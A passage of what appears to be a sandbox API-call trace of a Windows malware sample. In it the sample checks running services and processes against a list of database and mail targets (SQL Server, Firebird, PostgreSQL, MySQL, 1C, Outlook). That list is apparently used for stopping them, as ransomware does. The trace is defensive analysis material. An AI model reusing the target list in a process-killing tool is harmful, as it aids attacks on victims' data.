(lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.002] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.002] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.002] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.002] lstrlenW (lpString="RpcSs") returned 5 [0041.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.002] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.002] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.002] lstrlenW (lpString="SamSs") returned 5 [0041.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.002] lstrlenW (lpString="Schedule") returned 8 [0041.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.002] lstrlenW (lpString="SENS") returned 4 [0041.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.003] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.003] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.003] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.003] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.003] lstrlenW (lpString="Spooler") returned 7 [0041.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.003] lstrlenW (lpString="SysMain") returned 7 [0041.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.003] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.003] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.003] lstrlenW (lpString="Themes") returned 6 [0041.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.003] lstrlenW (lpString="TrkWks") returned 6 [0041.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.004] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.004] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.004] lstrlenW (lpString="UxSms") returned 5 [0041.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.004] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.004] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.004] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.004] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.004] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.004] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.004] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.004] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.004] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.004] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.004] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.005] lstrlenW (lpString="Winmgmt") returned 7 [0041.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.005] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.005] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.005] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.005] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6e1eb0 | out: hHeap=0x5f0000) returned 1 [0041.005] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0041.007] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.008] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.009] lstrlenW (lpString="System") returned 6 [0041.009] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.009] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.009] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.044] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.044] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.044] lstrlenW (lpString="smss.exe") returned 8 [0041.044] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.044] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.044] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.044] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.045] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.045] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.045] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.045] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.045] lstrlenW (lpString="csrss.exe") returned 9 [0041.045] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.045] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.045] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.045] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.045] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.045] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.045] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.045] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.046] lstrlenW (lpString="wininit.exe") returned 11 [0041.046] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.046] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.046] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.046] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0041.046] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0041.046] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0041.046] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0041.046] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.047] lstrlenW (lpString="csrss.exe") returned 9 [0041.047] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.047] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.047] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.047] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.047] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.047] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.047] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.048] lstrlenW (lpString="winlogon.exe") returned 12 [0041.048] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.049] lstrlenW (lpString="services.exe") returned 12 [0041.049] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.050] lstrlenW (lpString="lsass.exe") returned 9 [0041.050] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.050] lstrlenW (lpString="lsm.exe") returned 7 [0041.050] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.051] lstrlenW (lpString="svchost.exe") returned 11 [0041.051] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.052] lstrlenW (lpString="svchost.exe") returned 11 [0041.052] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.052] lstrlenW (lpString="svchost.exe") returned 11 [0041.052] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.053] lstrlenW (lpString="svchost.exe") returned 11 [0041.053] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.053] lstrlenW (lpString="svchost.exe") returned 11 [0041.053] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.054] lstrlenW (lpString="audiodg.exe") returned 11 [0041.054] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.055] lstrlenW (lpString="svchost.exe") returned 11 [0041.055] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.055] lstrlenW (lpString="svchost.exe") returned 11 [0041.055] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.056] lstrlenW (lpString="dwm.exe") returned 7 [0041.056] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.056] lstrlenW (lpString="explorer.exe") returned 12 [0041.056] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.057] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.057] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.058] lstrlenW (lpString="taskhost.exe") returned 12 [0041.058] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.058] lstrlenW (lpString="svchost.exe") returned 11 [0041.058] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.059] lstrlenW (lpString="taskeng.exe") returned 11 [0041.059] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.060] lstrlenW (lpString="taskhost.exe") returned 12 [0041.060] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0041.061] lstrlenW (lpString="obligations-breath.exe") returned 22 [0041.061] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0041.061] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0041.061] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0041.062] lstrlenW (lpString="achieving.exe") returned 13 [0041.062] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0041.063] lstrlenW (lpString="venice.exe") returned 10 [0041.063] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0041.064] lstrlenW (lpString="owns.exe") returned 8 [0041.064] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0041.065] lstrlenW (lpString="faster momentum.exe") returned 19 [0041.065] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0041.066] lstrlenW (lpString="vital_reasons.exe") returned 17 [0041.066] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0041.066] lstrlenW (lpString="everyone.exe") returned 12 [0041.067] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0041.067] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0041.067] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0041.068] lstrlenW (lpString="bored_excluded.exe") returned 18 [0041.068] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0041.069] lstrlenW (lpString="mothers.exe") returned 11 [0041.069] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0041.070] lstrlenW (lpString="career-fed.exe") returned 14 [0041.070] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0041.071] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0041.071] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0041.072] lstrlenW (lpString="initial_utilization.exe") returned 23 [0041.072] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0041.072] lstrlenW (lpString="cf-represent.exe") returned 16 [0041.072] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0041.073] lstrlenW (lpString="tue.exe") returned 7 [0041.073] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0041.074] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0041.074] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 